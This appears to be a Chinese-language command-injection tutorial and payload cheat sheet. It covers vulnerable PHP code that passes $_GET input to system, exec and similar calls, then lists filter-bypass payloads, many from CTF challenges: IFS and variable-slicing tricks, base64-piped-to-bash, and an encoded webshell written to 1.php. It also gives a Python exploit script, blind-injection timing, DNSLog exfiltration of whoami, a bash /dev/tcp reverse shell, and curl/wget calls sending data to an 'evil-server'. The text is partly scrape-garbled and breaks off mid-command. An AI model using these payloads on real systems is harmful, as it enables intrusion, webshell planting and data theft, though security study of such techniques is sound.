通常在程序开发过程中,应用程序在调用一些第三方程序时会用到一些系统命令相关函数。
例如在linux系统中,shell解释器就是用户和系统进行交互的一个接口,对用户的输入进行解析并在系统中执行。而shell脚本语言就是linux系统由各种shell命令组成的程序,具有其他普通编程的很多特点。
常用的ASP,PHP,JSP等web脚本解释语言支持动态执行在运行时生成的代码这种特点,可以帮助开发者根据各种数据和条件动态修改程序代码,这对于开发人员来说是有利的,但这也隐藏着巨大的风险。
命令注入攻击(即Command Injection)是web应用程序对用户的输入提交的数据过滤不严格,导致攻击者构造恶意的特殊命令字符串的方式将数据提交到web应用程序中,从而执行外部程序或系统命令来进行攻击,非法获取目标服务器的数据资源。
命令注入攻击是挪威一名程序员在1997年意外发现的,他通过构造命令字符串的方式从一个网站上删除网页,就像从硬盘中删除一个文件这么简单。
php命令注入攻击是php语言中很常见的一种漏洞,通常web应用程序在调用php语言中的一些系统命令执行相关函数时,对用户的提交的数据没有进行合理的过滤或安全校验就作为函数参数执行产生的攻击。例如攻击者对网站写入一个php文件时,就可以通过php命令注入来实现向网站写入一个webshell文件,进一步实施渗透攻击
当应用程序将不安全的用户提供的数据(表单,cookie,HTTP标头等)不经过检查过滤就传递给系统shell时,可能会发生命令注入攻击。
system
执行 command 参数所指定的命令, 并且输出执行结果。system ( string $command , int &$return_var = ? ) : string
参数说明
command:要执行的命令。
return_var:如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
在php中,命令执行函数主要的作用就是通过web应用程序执行外部程序或系统命令,例如web应用程序想要获取当前服务器系统的用户的话,就可以通过system函数来获取用户信息,构造代码如下:
<?php $cmd = $_GET["cmd"]; if(isset($cmd)) { echo ""
; system("net user".$cmd); echo ""
; }
?>
以上代码中变量cmd会动态接收用户输入的命令,作为system函数的命令参数并执行,然后将结果输出。由于web应用程序可以通过变量cmd接收用户的不同命令并执行,而攻击者则可能利用变量cmd提交恶意数据进行命令注入攻击获取服务器的数据信息。
例如攻击者想要查看当前服务器的用户和ip地址等信息,那么可以在URL地址中构造系统命令,如下所
http://www.dvwa.com/cmd/test.php?cmd=||%20ipconfig
system函数执行结果如下所示:
攻击者通过cmd变量构造|| ipconfig命令提交数据后,在后台进行拼接后其实就是一个“net user || ipconfig”这样的字符串,并将这个字符串作为参数传入到system函数中执行,并且system函数会先执行net user系统命令获取当前服务器的用户,接着在执行ipconfig命令查看服务器的ip地址信息,并将命令执行后的结果输出。
exec
执行 command 参数所指定的命令。exec ( string $command , array &$output = ? , int &$return_var = ? ) : string
command:要执行的命令。
output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。
return_var:如果同时提供 output 和 return_var 参数, 命令执行后的返回状态会被写入到此变量。
exec函数测试代码如下:
<?php $cmd = $_GET["cmd"]; if(isset($cmd)){ echo ""
; //output用于接收exec函数执行后的结果 $output = array(); //执行命令 exec($cmd , $output); echo ""; //将output中的结果输出 while(list($key , $value)=each($output)) { echo $value."
"; } }
?>
构造测试URL:http://www.dvwa.com/cmd/test.php?cmd=dir c:\
,读取目标服务器的C盘文件,执行结果如下:
passthru
执行 command 参数所指定的命令并且显示原始输出。passthru ( string $command , int &$return_var = ? ) : void
command:要执行的命令。
return_var:如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。
passthru函数的php代码如下:
<?php $cmd = $_GET["cmd"]; echo ""
; //执行命令 passthru($cmd); echo "";
?>
shell_exec
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。popen ( string $command , string $mode ) : resource
cmd:要执行的命令。
mode :模式
shell_exec函数的测试代码如下:
<?php $cmd = $_GET["cmd"]; echo ""
; print shell_exec($cmd); echo ""
;
?>
利用shell_exec函数查看当前服务器的系统配置信息,执行结果如下:
popen
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。popen ( string $command , string $mode ) : resource
command:命令。
mode:模式。
popen函数的利用代码:
<?php $cmd = $_GET["cmd"];
if(isset($cmd)){
echo ""
; //将命令写入到文本
$cmd = $_GET["cmd"].">> 1.txt"; //执行系统命令
popen($cmd , "r"); echo ""
; //打开并读写文本文件
$fp = fopen("1.txt" , "r");
if($fp){
while(!feof($fp)){ $content = fgets($fp); echo $content; } } fclose($fp); }
?>
proc_open
执行一个命令,并且打开用来输入/输出的文件指针。proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
cmd:要执行的命令
descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。
cwd:要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 null 表示使用默认值(当前 PHP 进程的工作目录)。
env:要执行的命令所使用的环境变量。 设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。
other_options:你还可以指定一些附加选项。 目前支持的选项包括:
<?php $cmd = $_GET["cmd"]; if(isset($cmd)){ echo ""
; //会将反引号里的内容解析为系统命令并执行 print `$cmd`; echo ""; }
?>
system(command)
在子 shell 中执行命令(字符串)。在 Unix 上,返回值是进程的退出状态;在 Windows 上,返回值是运行 command 后系统 Shell 返回的值。
popen(cmd, mode='r', buffering=-1)
打开一个管道,它通往 / 接受自命令 cmd。返回值是连接到管道的文件对象,根据 mode 是 'r'
(默认)还是 'w'
决定该对象可以读取还是写入。
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)
运行由 args 所描述的命令。 等待命令完成,然后返回 returncode属性。
java.lang.Runtime.getRuntime().exec(command)
符号 | 说明 |
---|---|
A;B | A不论正确与否都会执行B命令 |
A&B | A后台运行,A和B同时执行 |
A&&B | A执行成功的时候才会执行B命令 |
A|B | A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令 |
A||B | A执行失败后才会执行B命令 |
() | 群指令组,用括号将一串连续指令括起来,执行的效果等同于多个独立的命令单独执行的效果。 |
(()) | 用于算数运算’,与 let 指令相似 |
{} | 拼接字符用法,{xx,yy,zz…}{aa,bb,cc…}得到xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc… |
[] | 在流程控制中扮演判断式的作用;在正则表达式中担任类似 “范围” 或 “集合” 的角色。 |
[[ ]] | 这组符号与先前的[] 符号,基本上作用相同,但她允许在其中直接使用 |
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
{str1,str2,…} | 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 |
IFS | 由 < space > 或 < tab > 或 < enter > 三者之一组成 |
CR | 由 < enter > 产生 |
! | 执行 history 中的命令 |
%0a
%0d
;
&
|
$(shell_command)
`shell_command`
{shell_command,}
%0a
&
|
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符
cat<>flag
cat<flag
cat$IFS$9/flag
cat${IFS}/flag
cat$IFS/flag
%09
{cat,/etc/passwd}
X=$'cat\x20/flag'&&$X
X=$'cat\x09/flag'&&$X
.ba
t文件的时候,利用%1a,可以绕过过滤执行命令id=../ %1a whoami
escapeshellcmd("echo ".chr(0xc0).";id");
之后该语句会变成
echo 繺;id
从而实现 id 命令的注入
PHP表示字符串方法
echo "foo";
echo (string)"bar";
echo (string)hello;
echo (world);
a=c;b=at;c=flag;$a$b $c
(sy.(st).em)(whoami)
利用已存在的资源
从已有的文件或者环境变量中获得相应的字符。
编码
echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash
(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
c""at fl''ag
c'a't f'l'ag
c\at fl\ag
/?in/?s => ls
cat fl[0-z]g
echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
cat$x /etc/passwd
c
进行检查过滤,可以构造a
参数进行绕过?c=eval($_GET[a]);&a=cat ./flag
当eval()
或者()
也被过滤的时候可以使用,include
配合php伪协议读取文件
c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1.先获取system函数的索引
php -r 'get_defined_functions();' | grep 'system'
#2.直接使用system函数执行
php -r get_defined_functions()[501](whoami)'
c$@at fl$@ag
echo i$@d
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH| cut -c 1
/
echo $PATH| cut -c 1-4
/usr
# 相当于执行(system)(ls /tmp)
php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'
>
+
grep show flag.php
在flag.php文件里面正则匹配有show字符串的那一行。
print_r(scandir(‘.’))
;查看当前目录下的所有文件名
localeconv()
函数返回一包含本地数字及货币格式信息的数组。
current()
函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
each()
返回数组中当前的键/值对并将数组指针向前移动一步
end()
将数组的内部指针指向最后一个单元
next()
将数组中的内部指针向前移动一位
prev()
将数组中的内部指针倒回一位
array_reverse()
以相反的元素顺序返回数组
打印出当前目录下的文件:
print_r(scandir(current(localeconv())));
current(localeconv())
这两个函数组合起来就是.
打印出倒数第二个文件的内容
show_source(next(array_reverse(scandir(getcwd()))));
/???/????64 ????.??? ==> /bin/base64 flag.php
在ascii码表中观察发现
在大写字母A的前一个符号为@
,大写字母Z的后一个字母为[
,因此我们可以使用[@-[]
来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[]
,到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file
来执行文件
exp:
#-- coding:UTF-8 --
import requests
while True:
url = "http://**********/?c=. /???/????????[@-[]"
r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
flag = r.text.split('ctfshow')
if len(flag) >1:
print(r.text)
break
$
和()
构造数字$(())
代表做一次运算,因为里面为空,也表示值为0$((~$(())))
对0作取反运算,值为-1$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
exp:
data = "$((~$(("+"$((~$(())))"*37+"))))" #这里-37再取反就是36
print(data)
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
var_export(scandir('/'));
var_dump(scandir('/'));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
用的mysql的load_file进行读取文件
exp:
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
利用PHP7.4的FFI可以执行C语言的扩展,从而使用C的system函数进行明星执行。
$ffi = FFI::cdef( "int system(const char *command);"); // 创建一个system对象
$ffi->system("/readflag > 1.txt"); // 通过system去执行命令
root@ubuntu:~# echo ${PWD}
/root
root@ubuntu:~# echo ${PWD:1:1} #表示从1下标开始的第一个字符
r
root@ubuntu:~# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
root@ubuntu:~# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t
root@ubuntu:~# echo ${PWD:~A} #所以字母和0具有同样作用
t
root@ubuntu:~# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
root@ubuntu:~# echo ${PATH:~A}
n
root@ubuntu:/var/www/html# echo ${PATH:~A}${PWD:~A}
nl
在正常情况下${PWD}
的值在www-data用户下是/var/www/html
,${PATH}
和root用户的相同。则我们就可以构造nl 来读取文件: ${PATH:~A}${PWD:~A}
/bin/base64
需要/和4两个字符就行,其他的可以用通配符代替。/
很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}
绕过root@ubuntu:~# echo ${#SHLVL}
1
root@ubuntu:~# echo ${PWD::${SHLVL}}
/
root@ubuntu:~# echo ${#RANDOM}
4
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}
/bin/base64
SHLVL:是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1
,然后在此shell中再打开一个shell时$SHLVL=2
。
RANDOM: 此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。
在Linux中,${#xxx}
显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4。
方法二:
root@ubuntu:/var/www/html# echo $?
0
root@ubuntu:/var/www/html# <A
-bash: A: No such file or directory
root@ubuntu:/var/www/html# echo $?
1
root@ubuntu:~# echo ${HOME}
/root
root@ubuntu:/var/www/html# echo ${#RANDOM}
4
root@ubuntu:~# echo ${HOME::$?}???${HOME::$?}?????${#RANDOM}
/bin/base64
$?
:最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误,利用的报错就能返回值1
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
/bin/cat
,需要t
和/
,${HOME}默认是/root
,所以需要得到他的最后一个字母,容器的hostname
应该是5个字母,所以${#HOSTNAME}
可以从第5位开始,1还是用${#SHLVL}
代替root@ubuntu:~# echo ${#HOSTNAME}
5
root@ubuntu:~# echo ${HOME}
/root
root@ubuntu:~# echo ${HOME:${#HOSTNAME}:${#SHLVL}}
t
root@ubuntu:~# echo ${PWD::${SHLVL}}
/
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}
/bin/cat
方法二:
一般给的权限都是www-data,所以我们用${USER}
可以获得“www-data”,而我们要取到at
的话需要${USER:~2:2}
,但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION
root@ubuntu:~# echo ${USER}
www-data
root@ubuntu:~# echo ${PHP_VERSION:~A}
2
root@ubuntu:~# echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
at
root@ubuntu:~# echo ${#}
0
root@ubuntu:~# echo ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
/bin/cat
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}}?
/bin/cat
root@ubuntu:~# echo ${##}
1
root@ubuntu:~# echo ${#?}
1
root@ubuntu:/var/www/html# echo ${#IFS}
3
root@ubuntu:/var/www/html# echo ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}??
/bin/rev
主要是通过base_convert ()
函数将二十六进制的字符转换为十进制的数字,然后通过逆过程还原为原本被进制掉或不在白名单中的函数或命令。
使用输出重定向>分步把要执行的命令输入到一个文件中,然后再通过sh执行这个文件
短命令执行
首先按照前面的>
的用法,我们可以知道有标准输出可以输出到文件
\
分行输入,这个优点是可以不用考虑时间顺序,直接用ls>a
输出到a
文件root@kali:~/Desktop# >ec\
> ho\
> \ 1
root@kali:~/Desktop# ls >a
root@kali:~/Desktop# cat a
a
echo 1
root@kali:~/Desktop# sh a
a: 1: a: not found
1
这里把echo 1
作为字符串输出到桌面,再使用ls
命令将桌面的内容储存到a
文件中,再执行a
文件的内容,输出1。
\\
,这种方法是利用\
来拼接字符串,其中前一个\
是用来转义后一个\
的。这里需要考虑时间顺序,需要逆序来创建文件。root@kali:~/Desktop# >\ 1\\
root@kali:~/Desktop# >ho\\
root@kali:~/Desktop# >ec\\
root@kali:~/Desktop# ls -t>a
root@kali:~/Desktop# cat a
a
ec\
ho\
1\
root@kali:~/Desktop# sh a
a: 1: a: not found
1
我们之前提到的大部分都是有回显或者一部分提示的命令注入,当我们遇到无回显的命令注入的时候我们又要怎么办呢?
首先我们可以通过sleep命令根据返回的时间来判断是否存在命令执行漏洞。
?cmd=sleep 5
若存在命令执行则会等待5秒才返回响应。
sleep $(hostname | cut -c 1 |tr a 5)
这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。
无回显得命令执行语句可以使用DNSLog来查看结果。
ping %USERNAME%.t6n089.ceye.io
ping -c 1 `whoami`.t6n089.ceye.io
首先在自己的机器上开启监听端口:
nc -lvp 2333
然后在命令执行处输入:
bash -i >&/dev/tcp/ip地址/端口 0>&1
可以得到靶机的bash控制权:
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.91.143: inverse host lookup failed: Unknown host
connect to [192.168.91.128] from (UNKNOWN) [192.168.91.143] 34728
root@ubuntu18:/var/www/html# ls
ls
checksite
DVWA-master
index.html
phpmyadmin
test.php
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
curl http://evil-server/`whoami`
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encod